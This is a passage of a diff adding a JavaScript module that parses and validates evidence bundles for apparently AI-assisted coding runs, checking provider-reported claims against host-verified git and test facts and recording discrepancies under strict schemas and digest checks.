ARTIFACT_REF_SCHEMA_ID, + compareArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + isKnownProvider, + isModelId, + knownProvidersJoined, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertDenseJsonArray, + assertRepositoryPath, + assertRunId, + isAssignmentId, + isCommandId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const EVIDENCE_BUNDLE_SCHEMA_ID = 'codex-co-engineer.evidence-bundle.v1'; +export const EVIDENCE_BUNDLE_VERSION = 1; +export const EVIDENCE_DIGEST_LABEL = IDENTITY_LABELS.EVIDENCE_BUNDLE; +export const DIGEST_ALGORITHM = 'sha256'; +export const EVIDENCE_DIGEST_HEX_LENGTH = 64; + +export const MAX_EVIDENCE_DEPTH = 16; +export const MAX_EVIDENCE_NODES = 1024; +export const MAX_CLAIMS = 32; +export const MAX_FACTS = 64; +export const MAX_DISCREPANCIES = 32; +export const MAX_EVIDENCE_ARTIFACT_REFS = 64; +export const MAX_EVIDENCE_STRING_BYTES = 4096; +export const MAX_BUNDLE_CANONICAL_BYTES = 65_536; +export const MAX_SEQUENCE = 65_535; +export const MAX_ARTIFACT_IDS = 8; +export const MAX_DURATION_MS = 86_400_000; + +export const CLAIM_KINDS = capturedFreeze([ + 'command_reported', 'files_changed', 'head_reached', 'model_used', 'tests_passed', +]); +export const FACT_KINDS = capturedFreeze([ + 'acceptance_results', 'artifact_integrity', 'git_diff', 'git_identity', + 'head_sha', 'model_attested', +]); +export const DISCREPANCY_KINDS = capturedFreeze([ + 'integrity', 'mismatch', 'missing', 'security', 'unverifiable', +]); +export const CLAIM_STATUSES = capturedFreeze(['asserted', 'unsupported']); +export const FACT_STATUSES = capturedFreeze([ + 'failed', 'partial', 'truncated', 'unknown', 'verified', +]); +export const DISCREPANCY_STATUSES = capturedFreeze(['recorded']); +export const FINAL_STATES = capturedFreeze([ + 'accepted', 'failed', 'partial', 'pass', 'unknown', 'verified', +]); +export const ACCEPTED_FINAL_STATES = capturedFreeze(['accepted', 'pass', 'verified']); +export const CLAIM_CODES = capturedFreeze(['provider_reported']); +export const FACT_CODES = capturedFreeze(['host_observed']); +export const DISCREPANCY_CODES = capturedFreeze([ + 'artifact_integrity_failure', 'claim_fact_mismatch', 'missing_fact', + 'security_boundary', 'unverifiable_claim', +]); +export const FACT_AUTHORITIES = capturedFreeze([ + 'independent_provider_query', 'platform_acceptance_runner', 'platform_git', + 'platform_ref_audit', 'platform_scope', +]); +export const FACT_METHODS = capturedFreeze([ + 'ancestry_check', 'approved_command_execution', 'artifact_digest_compare', + 'independent_model_query', 'merge_commit_absence', + 'protected_ref_snapshot_compare', 'read_only_no_changes', 'scope_match', +]); +export const REPORTED_RESULTS = capturedFreeze(['fail', 'not_reported', 'pass']); +export const INTEGRITY_RESULTS = capturedFreeze(['match', 'mismatch']); +export const PROVIDER_DERIVED_ARTIFACT_KINDS = capturedFreeze([ + 'cloud_receipt', 'event_segment', 'provider_report', +]); +export const PROOF_ARTIFACT_KINDS = capturedFreeze([ + 'acceptance_output', 'git_diff', 'ref_snapshot', 'usage_evidence', +]); + +export const BUNDLE_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'request_id', 'assignment_id', 'provider', + 'model', 'repository', 'candidate', 'sequence', 'recorded_at', + 'final_state', 'claims', 'facts', 'discrepancies', 'artifacts', +]); +export const BUNDLE_REQUIRED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'request_id', 'assignment_id', 'provider', + 'model', 'repository', 'sequence', 'final_state', 'claims', 'facts', + 'discrepancies', 'artifacts', +]); +export const REPOSITORY_ALLOWED_KEYS = capturedFreeze(['path', 'base_sha']); +export const CANDIDATE_ALLOWED_KEYS = capturedFreeze(['sha']); +export const CLAIM_ALLOWED_KEYS = capturedFreeze([ + 'claim_id', 'claim_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'recorded_at', 'subject', 'payload', 'payload_digest', + 'artifact_digests', +]); +export const CLAIM_REQUIRED_KEYS = capturedFreeze([ + 'claim_id', 'claim_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'subject', 'payload', 'artifact_digests', +]); +export const FACT_ALLOWED_KEYS = capturedFreeze([ + 'fact_id', 'fact_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'recorded_at', 'subject', 'authority', 'method', + 'input_digest', 'output_digest', 'exit_code', 'duration_ms', 'truncated', + 'payload', 'payload_digest', 'artifact_digests', +]); +export const FACT_REQUIRED_KEYS = capturedFreeze([ + 'fact_id', 'fact_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'subject', 'authority', 'method', 'input_digest', + 'output_digest', 'exit_code', 'duration_ms', 'truncated', 'payload', + 'artifact_digests', +]); +export const DISCREPANCY_ALLOWED_KEYS = capturedFreeze([ + 'discrepancy_id', 'discrepancy_kind', 'status', 'code', 'run_id', + 'assignment_id', 'sequence', 'recorded_at', 'claim_ids', 'fact_ids', + 'artifact_digests', +]); +export const DISCREPANCY_REQUIRED_KEYS = capturedFreeze([ + 'discrepancy_id', 'discrepancy_kind', 'status', 'code', 'run_id', + 'assignment_id', 'sequence', 'claim_ids', 'fact_ids', 'artifact_digests', +]); + +export const EVIDENCE_ERROR_CODES = capturedFreeze([ + 'conflicting_id', 'duplicate_id', 'duplicate_sequence', 'identity_mismatch', + 'invalid_format', 'invalid_type', 'missing_key', 'out_of_range', + 'payload_digest_mismatch', 'provider_proof_rejected', 'stale_fact', + 'truncated_required_fact', 'unknown_authority', 'unknown_claim_kind', + 'unknown_code', 'unknown_discrepancy_kind', 'unknown_fact_kind', + 'unknown_final_state', 'unknown_method', 'unknown_status', + 'unproven_accepted_state', 'unsupported_pairing', +]); + +const PRIVATE_RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; +const PRIVATE_SUBJECT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:/-]{0,127}$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; + +export const EVIDENCE_RECORD_ID_PATTERN = new RegExp( + PRIVATE_RECORD_ID_PATTERN.source, PRIVATE_RECORD_ID_PATTERN.flags, +); +export const EVIDENCE_SUBJECT_PATTERN = new RegExp( + PRIVATE_SUBJECT_PATTERN.source, PRIVATE_SUBJECT_PATTERN.flags, +); +export const EVIDENCE_TIMESTAMP_PATTERN = new RegExp( + PRIVATE_TIMESTAMP_PATTERN.source, PRIVATE_TIMESTAMP_PATTERN.flags, +); + +const CLAIM_PAYLOAD_KEYS = { + command_reported: capturedFreeze(['command_id', 'result']), + files_changed: capturedFreeze(['path_count']), + head_reached: capturedFreeze(['sha']), + model_used: capturedFreeze(['model']), + tests_passed: capturedFreeze(['result']), +}; +const FACT_PAYLOAD_KEYS = { + acceptance_results: capturedFreeze(['command_id', 'result']), + artifact_integrity: capturedFreeze(['artifact_sha256', 'result']), + git_diff: capturedFreeze(['path_count', 'path_set_digest']), + git_identity: capturedFreeze(['base_sha', 'head_sha']), + head_sha: capturedFreeze(['sha']), + model_attested: capturedFreeze(['model']), +}; +const KIND_CODES = { + integrity: 'artifact_integrity_failure', + mismatch: 'claim_fact_mismatch', + missing: 'missing_fact', + security: 'security_boundary', + unverifiable: 'unverifiable_claim', +}; +const CLAIM_FACT_MAP = { + command_reported: capturedFreeze(['acceptance_results']), + files_changed: capturedFreeze(['git_diff']), + head_reached: capturedFreeze(['git_identity', 'head_sha']), + model_used: capturedFreeze(['model_attested']), + tests_passed: capturedFreeze(['acceptance_results']), +}; + +const CRYPTO_CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const BUFFER_FROM = Buffer.from.bind(Buffer); +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const REFLECT_APPLY = Reflect.apply; +const REGEXP_TEST = RegExp.prototype.test; +const STRING = String; + +function testPattern(pattern, value) { + return REFLECT_APPLY(REGEXP_TEST, pattern, [value]) === true; +} + +function enumError(code, path, label, allowed) { + let joined = ''; + for (let index = 0; index < allowed.length; index += 1) { + joined += index === 0 ? `"${allowed[index]}"` : `, "${allowed[index]}"`; + } + fail(code, path, `${path} must be exactly one of ${joined}; received an outside ${label}.`); +} + +function assertEnum(value, allowed, code, path, label) { + if (!capturedIncludes(allowed, value)) enumError(code, path, label, allowed); + return value; +} + +function assertSha256(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_SHA256_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be an exact ${EVIDENCE_DIGEST_HEX_LENGTH}-character lowercase hex SHA-256.`); + } + return value; +} + +function assertRecordId(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_RECORD_ID_PATTERN, value)) { + fail('invalid_format', path, `${path} violates the evidence record-id grammar.`); + } + return value; +} + +function assertSubject(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_SUBJECT_PATTERN, value)) { + fail('invalid_format', path, `${path} violates the closed subject grammar.`); + } + return value; +} + +function assertSequence(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer sequence.`); + } + if (value < 0 || value > MAX_SEQUENCE) { + fail('out_of_range', path, `${path} must be an injected sequence in 0..${MAX_SEQUENCE}.`); + } + return value; +} + +function assertTimestamp(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_TIMESTAMP_PATTERN, value)) { + fail('invalid_format', path, `${path} must be an exact UTC timestamp YYYY-MM-DDTHH:MM:SSZ.`); + } + return value; +} + +function assertSafeInt(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer.`); + } + if (value < min || value > max) { + fail('out_of_range', path, `${path} is outside ${min}..${max}.`); + } + return value; +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${EVIDENCE_BUNDLE_SCHEMA_ID}); evidence records have no hidden defaults.`); + } + } +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!Object.hasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function payloadDigestOf(payload) { + const canonical = canonicalJsonStringify(payload); + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function bindPayloadDigest(input, payload, path) { + const digest = payloadDigestOf(payload); + if (hasOwn(input, 'payload_digest')) { + const provided = optOwn(input, 'payload_digest'); + assertSha256(provided, `${path}.payload_digest`); + if (provided !== digest) { + fail('payload_digest_mismatch', `${path}.payload_digest`, + `${path}.payload_digest does not match the canonical payload digest.`); + } + } + return digest; +} + +function parseArtifactDigestList(input, path) { + const value = optOwn(input, 'artifact_digests'); + assertNotProxy(value, `${path}.artifact_digests`); + assertDenseJsonArray(value, `${path}.artifact_digests`); + if (value.length > MAX_ARTIFACT_IDS) { + fail('out_of_range', `${path}.artifact_digests`, + `${path}.artifact_digests exceeds ${MAX_ARTIFACT_IDS} entries.`); + } + const seen = new Set(); + const snapshots = []; + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}.artifact_digests[${index}]`; + const digest = optOwn(value, STRING(index)); + assertSha256(digest, entryPath); + if (seen.has(digest)) { + fail('duplicate_id', entryPath, `${entryPath} repeats an artifact digest.`); + } + seen.add(digest); + snapshots.push(digest); + } + return capturedFreeze(snapshots); +} + +function parseClosedPayload(input, path, kind, table) { + const payload = optOwn(input, 'payload'); + const keys = table[kind]; + assertPlainObject(payload, 'invalid_type', `${path}.payload`, `${path}.payload`); + assertDirectJsonClosure(payload, `${path}.payload`); + assertAllowedKeys(payload, keys, `${path}.payload`); + requiredKeys(payload, keys, `${path}.payload`); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = optOwn(payload, key); + } + if (hasOwn(values, 'model') && !isModelId(values.model)) { + fail('invalid_format', `${path}.payload.model`, + `${path}.payload.model violates the accepted model-id grammar.`); + } + if (hasOwn(values, 'command_id') && !isCommandId(values.command_id)) { + fail('invalid_format', `${path}.payload.command_id`, + `${path}.payload.command_id violates the accepted command-id grammar.`); + } + if (hasOwn(values, 'sha') && !isSha40(values.sha)) { + fail('invalid_format', `${path}.payload.sha`, + `${path}.payload.sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + if (hasOwn(values, 'base_sha')) assertBaseSha(values.base_sha, `${path}.payload.base_sha`); + if (hasOwn(values, 'head_sha') && !isSha40(values.head_sha)) { + fail('invalid_format', `${path}.payload.head_sha`, + `${path}.payload.head_sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + if (hasOwn(values, 'result')) { + const allowed = kind === 'artifact_integrity' ? INTEGRITY_RESULTS : REPORTED_RESULTS; + assertEnum(values.result, allowed, 'unknown_status', `${path}.payload.result`, 'result'); + } + if (hasOwn(values, 'path_count')) { + values.path_count = assertSafeInt(values.path_count, `${path}.payload.path_count`, 0, 65_536); + } + if (hasOwn(values, 'path_set_digest')) { + assertSha256(values.path_set_digest, `${path}.payload.path_set_digest`); + } + if (hasOwn(values, 'artifact_sha256')) { + assertSha256(values.artifact_sha256, `${path}.payload.artifact_sha256`); + } + return freezeRecord(keys, values); +} + +function parseOptionalTimestamp(input, path) { + if (!hasOwn(input, 'recorded_at')) return undefined; + return assertTimestamp(optOwn(input, 'recorded_at'), `${path}.recorded_at`); +} + +function assertEvidenceBounds(value, path) { + let nodes = 0; + const walk = (node, depth, nodePath) => { + nodes += 1; + if (nodes > MAX_EVIDENCE_NODES) { + fail('out_of_range', nodePath, `${path} exceeds ${MAX_EVIDENCE_NODES} evidence nodes.`); + } + if (depth > MAX_EVIDENCE_DEPTH) { + fail('out_of_range', nodePath, + `${nodePath} exceeds the evidence depth cap of ${MAX_EVIDENCE_DEPTH}.`); + } + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + for (let index = 0; index < node.length; index += 1) { + walk(node[index], depth + 1, `${nodePath}[${index}]`); + } + return; + } + const keys = sortedCapturedKeys(node); + for (let index = 0; index < keys.length; index += 1) { + walk(node[keys[index]], depth + 1, `${nodePath}.${keys[index]}`); + } + }; + walk(value, 0, path); +} + +function parseIdentityPair(input, path) { + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + return { run_id: runId, assignment_id: assignmentId }; +} + +function parseIdList(input, key, path) { + const value = optOwn(input, key); + const field = `${path}.${key}`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > MAX_ARTIFACT_IDS) { + fail('out_of_range', field, `${field} exceeds ${MAX_ARTIFACT_IDS} entries.`); + } + const seen = new Set(); + const snapshots = []; + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + const id = optOwn(value, STRING(index)); + assertRecordId(id, entryPath); + if (seen.has(id)) fail('duplicate_id', entryPath, `${entryPath} repeats an identity.`); + seen.add(id); + snapshots.push(id); + } + return capturedFreeze(snapshots); +} + +function compatibleAuthority(factKind, authority, method) { + if (factKind === 'model_attested') { + return authority === 'independent_provider_query' && method === 'independent_model_query'; + } + if (factKind === 'acceptance_results') { + return authority === 'platform_acceptance_runner' && method === 'approved_command_execution'; + } + if (factKind === 'artifact_integrity') { + return (authority === 'platform_ref_audit' || authority === 'platform_git') + && method === 'artifact_digest_compare'; + } + if (factKind === 'git_diff' || factKind === 'git_identity' || factKind === 'head_sha') { + return authority === 'platform_git' + && (method === 'ancestry_check' || method === 'merge_commit_absence' + || method === 'scope_match' || method === 'read_only_no_changes' + || method === 'protected_ref_snapshot_compare' || method === 'artifact_digest_compare'); + } + return false; +} + +export function parseProviderClaimV1(input, path = 'claim') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, CLAIM_ALLOWED_KEYS, path); + requiredKeys(input, CLAIM_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const claimKind = assertEnum( + optOwn(input, 'claim_kind'), CLAIM_KINDS, 'unknown_claim_kind', `${path}.claim_kind`, 'claim kind', + ); + const status = assertEnum( + optOwn(input, 'status'), CLAIM_STATUSES, 'unknown_status', `${path}.status`, 'claim status', + ); + const code = assertEnum( + optOwn(input, 'code'), CLAIM_CODES, 'unknown_code', `${path}.code`, 'claim code', + ); + const payload = parseClosedPayload(input, path, claimKind, CLAIM_PAYLOAD_KEYS); + const values = { + claim_id: assertRecordId(optOwn(input, 'claim_id'), `${path}.claim_id`), + claim_kind: claimKind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + subject: assertSubject(optOwn(input, 'subject'), `${path}.subject`), + payload, + payload_digest: bindPayloadDigest(input, payload, path), + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(CLAIM_ALLOWED_KEYS, values); +} + +export function parseVerifiedFactV1(input, path = 'fact') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, FACT_ALLOWED_KEYS, path); + requiredKeys(input, FACT_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const factKind = assertEnum( + optOwn(input, 'fact_kind'), FACT_KINDS, 'unknown_fact_kind', `${path}.fact_kind`, 'fact kind', + ); + const status = assertEnum( + optOwn(input, 'status'), FACT_STATUSES, 'unknown_status', `${path}.status`, 'fact status', + ); + const code = assertEnum( + optOwn(input, 'code'), FACT_CODES, 'unknown_code', `${path}.code`, 'fact code', + ); + const authority = assertEnum( + optOwn(input, 'authority'), FACT_AUTHORITIES, 'unknown_authority', `${path}.authority`, 'authority', + ); + const method = assertEnum( + optOwn(input, 'method'), FACT_METHODS, 'unknown_method', `${path}.method`, 'method', + ); + if (!compatibleAuthority(factKind, authority, method)) { + fail('unsupported_pairing', `${path}.authority`, + `${path} pairs a fact kind with an authority or method the closed table does not allow.`); + } + const truncated = optOwn(input, 'truncated'); + if (truncated !== true && truncated !== false) { + fail('invalid_type', `${path}.truncated`, `${path}.truncated must be a boolean.`); + } + if (truncated === true && status === 'verified') { + fail('truncated_required_fact', `${path}.status`, + `${path} cannot be verified while truncated is true.`); + } + if (status === 'truncated' && truncated !== true) { + fail('invalid_format', `${path}.truncated`, + `${path}.truncated must be true when status is truncated.`); + } + const payload = parseClosedPayload(input, path, factKind, FACT_PAYLOAD_KEYS); + const values = { + fact_id: assertRecordId(optOwn(input, 'fact_id'), `${path}.fact_id`), + fact_kind: factKind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + subject: assertSubject(optOwn(input, 'subject'), `${path}.subject`), + authority, + method, + input_digest: assertSha256(optOwn(input, 'input_digest'), `${path}.input_digest`), + output_digest: assertSha256(optOwn(input, 'output_digest'), `${path}.output_digest`), + exit_code: (() => { + const exitCode = optOwn(input, 'exit_code'); + if (exitCode === null) return null; + return assertSafeInt(exitCode, `${path}.exit_code`, 0, 255); + })(), + duration_ms: assertSafeInt(optOwn(input, 'duration_ms'), `${path}.duration_ms`, 0, MAX_DURATION_MS), + truncated, + payload, + payload_digest: bindPayloadDigest(input, payload, path), + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(FACT_ALLOWED_KEYS, values); +} + +export function canonicalProviderClaimJsonV1(input, path = 'claim') { + return canonicalJsonStringify(parseProviderClaimV1(input, path)); +} + +export function canonicalVerifiedFactJsonV1(input, path = 'fact') { + return canonicalJsonStringify(parseVerifiedFactV1(input, path)); +} + +export function parseEvidenceDiscrepancyV1(input, path = 'discrepancy') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, DISCREPANCY_ALLOWED_KEYS, path); + requiredKeys(input, DISCREPANCY_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const kind = assertEnum( + optOwn(input, 'discrepancy_kind'), DISCREPANCY_KINDS, + 'unknown_discrepancy_kind', `${path}.discrepancy_kind`, 'discrepancy kind', + ); + const status = assertEnum( + optOwn(input, 'status'), DISCREPANCY_STATUSES, 'unknown_status', `${path}.status`, 'discrepancy status', + ); + const code = assertEnum( + optOwn(input, 'code'), DISCREPANCY_CODES, 'unknown_code', `${path}.code`, 'discrepancy code', + ); + if (KIND_CODES[kind] !== code) { + fail('unsupported_pairing', `${path}.code`, + `${path}.code must be the closed code for its discrepancy kind.`); + } + const claimIds = parseIdList(input, 'claim_ids', path); + const factIds = parseIdList(input, 'fact_ids', path); + if (kind === 'mismatch' && (claimIds.length === 0 || factIds.length === 0)) { + fail('invalid_format', path, + `${path} of kind mismatch must link at least one claim identity and one fact identity.`); + } + if (kind === 'missing' && claimIds.length === 0) { + fail('invalid_format', `${path}.claim_ids`, + `${path} of kind missing must link the claim identity that lacks a fact.`); + } + const values = { + discrepancy_id: assertRecordId(optOwn(input, 'discrepancy_id'), `${path}.discrepancy_id`), + discrepancy_kind: kind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + claim_ids: claimIds, + fact_ids: factIds, + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(DISCREPANCY_ALLOWED_KEYS, values); +} + +function parseRepository(input, path) { + const value = optOwn(input, 'repository'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, REPOSITORY_ALLOWED_KEYS, path); + requiredKeys(value, REPOSITORY_ALLOWED_KEYS, path); + const repositoryPath = optOwn(value, 'path'); + assertRepositoryPath(repositoryPath, `${path}.path`); + const baseSha = optOwn(value, 'base_sha'); + assertBaseSha(baseSha, `${path}.base_sha`); + return freezeRecord(REPOSITORY_ALLOWED_KEYS, { path: repositoryPath, base_sha: baseSha }); +} + +function parseCandidate(input, path) { + if (!hasOwn(input, 'candidate')) return undefined; + const value = optOwn(input, 'candidate'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, CANDIDATE_ALLOWED_KEYS, path); + requiredKeys(value, CANDIDATE_ALLOWED_KEYS, path); + const sha = optOwn(value, 'sha'); + if (!isSha40(sha)) { + fail('invalid_format', `${path}.sha`, + `${path}.sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + return freezeRecord(CANDIDATE_ALLOWED_KEYS, { sha }); +} + +function compareById(left, right, key) { + if (left[key] === right[key]) return 0; + return left[key] < right[key] ? -1 : 1; +} + +function parseRecordList(input, key, path, max, parseOne, idKey) { + const value = optOwn(input, key); + const field = `${path}.${key}`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > max) { + fail('out_of_range', field, `${field} exceeds ${max} entries.`); + } + const snapshots = []; + const seenIds = new Set(); + const seenSequences = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + assertNotProxy(value[index], entryPath); + const snapshot = parseOne(value[index], entryPath); + if (seenIds.has(snapshot[idKey])) { + fail('duplicate_id', `${entryPath}.${idKey}`, + `${entryPath}.${idKey} repeats an identity; duplicates are denied instead of collapsed.`); + } + if (seenSequences.has(snapshot.sequence)) { + fail('duplicate_sequence', `${entryPath}.sequence`, + `${entryPath}.sequence repeats an injected sequence.`); + } + seenIds.add(snapshot[idKey]); + seenSequences.add(snapshot.sequence); + snapshots.push(snapshot); + } + snapshots.sort((left, right) => compareById(left, right, idKey)); + return capturedFreeze(snapshots); +} + +function parseArtifactSnapshots(input, path, runId, assignmentId) { + const value = optOwn(input, 'artifacts'); + const field = `${path}.artifacts`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > MAX_EVIDENCE_ARTIFACT_REFS) { + fail('out_of_range', field, `${field} exceeds ${MAX_EVIDENCE_ARTIFACT_REFS} entries.`); + } + const snapshots = []; + const seenCanonical = new Set(); + const seenSha = new Map(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + assertNotProxy(value[index], entryPath); + if (typeof value[index] === 'string') { + fail('invalid_type', entryPath, + `${entryPath} must be an exact ${ARTIFACT_REF_SCHEMA_ID} snapshot, not a raw path or URL.`); + } + const snapshot = parseArtifactRefV1(value[index], entryPath); + if (snapshot.run_id !== runId || snapshot.assignment_id !== assignmentId) { + fail('identity_mismatch', entryPath, + `${entryPath} identity does not match the enclosing evidence bundle.`); + } + const canonical = canonicalJsonStringify(snapshot); + if (seenCanonical.has(canonical)) { + fail('duplicate_id', entryPath, + `${entryPath} repeats an identical artifact reference; duplicates are denied instead of collapsed.`); + } + seenCanonical.add(canonical); + const prior = seenSha.get(snapshot.sha256); + if (prior !== undefined && prior !== canonical) { + fail('conflicting_id', entryPath, + `${entryPath} reuses an artifact digest for a different ArtifactRefV1 snapshot.`); + } + seenSha.set(snapshot.sha256, canonical); + snapshots.push(snapshot); + } + snapshots.sort(compareArtifactRefsV1); + return capturedFreeze(snapshots); +} + +function artifactByDigest(artifacts) { + const map = new Map(); + for (let index = 0; index < artifacts.length; index += 1) { + map.set(artifacts[index].sha256, artifacts[index]); + } + return map; +} + +function resolveDigests(digests, artifacts, path, requiredKinds, allowEmpty) { + if (digests.length === 0) { + if (allowEmpty) return; + fail('provider_proof_rejected', `${path}.artifact_digests`, + `${path}.artifact_digests must cite at least one proof artifact.`); + } + let proof = false; + for (let index = 0; index < digests.length; index += 1) { + const digest = digests[index]; + const ref = artifacts.get(digest); + if (ref === undefined) { + fail('identity_mismatch', `${path}.artifact_digests[${index}]`, + `${path}.artifact_digests[${index}] does not resolve to an exact ArtifactRefV1 snapshot.`); + } + if (requiredKinds === 'provider') { + if (!capturedIncludes(PROVIDER_DERIVED_ARTIFACT_KINDS, ref.artifact_kind)) { + fail('provider_proof_rejected', `${path}.artifact_digests[${index}]`, + `${path} claims must cite provider-derived artifacts, never proof artifacts as claims.`); + } + } else if (capturedIncludes(PROOF_ARTIFACT_KINDS, ref.artifact_kind)) { + proof = true; + } + } + if (requiredKinds === 'proof' && !proof) { + fail('provider_proof_rejected', `${path}.artifact_digests`, + `${path} facts cannot be synthesized from provider-derived artifacts alone.`); + } +} + +function claimComparable(claim) { + const kind = claim.claim_kind; + if (kind === 'tests_passed' || kind === 'command_reported') return `result:${claim.payload.result}`; + if (kind === 'head_reached') return `sha:${claim.payload.sha}`; + if (kind === 'model_used') return `model:${claim.payload.model}`; + if (kind === 'files_changed') return `count:${claim.payload.path_count}`; + return ''; +} + +function factComparable(fact) { + const kind = fact.fact_kind; + if (kind === 'acceptance_results') return `result:${fact.payload.result}`; + if (kind === 'head_sha') return `sha:${fact.payload.sha}`; + if (kind === 'git_identity') return `sha:${fact.payload.head_sha}`; + if (kind === 'model_attested') return `model:${fact.payload.model}`; + if (kind === 'git_diff') return `count:${fact.payload.path_count}`; + return ''; +} + +function isSuccessClaim(claim) { + if (claim.status !== 'asserted') return false; + if (claim.claim_kind === 'tests_passed' || claim.claim_kind === 'command_reported') { + return claim.payload.result === 'pass'; + } + return capturedIncludes(['files_changed', 'head_reached', 'model_used'], claim.claim_kind); +} + +function matchingFacts(claim, facts) { + const mapped = CLAIM_FACT_MAP[claim.claim_kind] || []; + const matches = []; + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + if (fact.subject !== claim.subject) continue; + if (!capturedIncludes(mapped, fact.fact_kind)) continue; + matches.push(fact); + } + return matches; +} + +function linkedPair(discrepancy, claimId, factId) { + let hasClaim = false; + let hasFact = false; + for (let index = 0; index < discrepancy.claim_ids.length; index += 1) { + if (discrepancy.claim_ids[index] === claimId) hasClaim = true; + } + for (let index = 0; index < discrepancy.fact_ids.length; index += 1) { + if (discrepancy.fact_ids[index] === factId) hasFact = true; + } + return hasClaim && hasFact; +} + +function assertLinkedIdentities(discrepancies, claims, facts, path) { + const claimIds = new Set(); + const factIds = new Set(); + for (let index = 0; index < claims.length; index += 1) claimIds.add(claims[index].claim_id); + for (let index = 0; index < facts.length; index += 1) 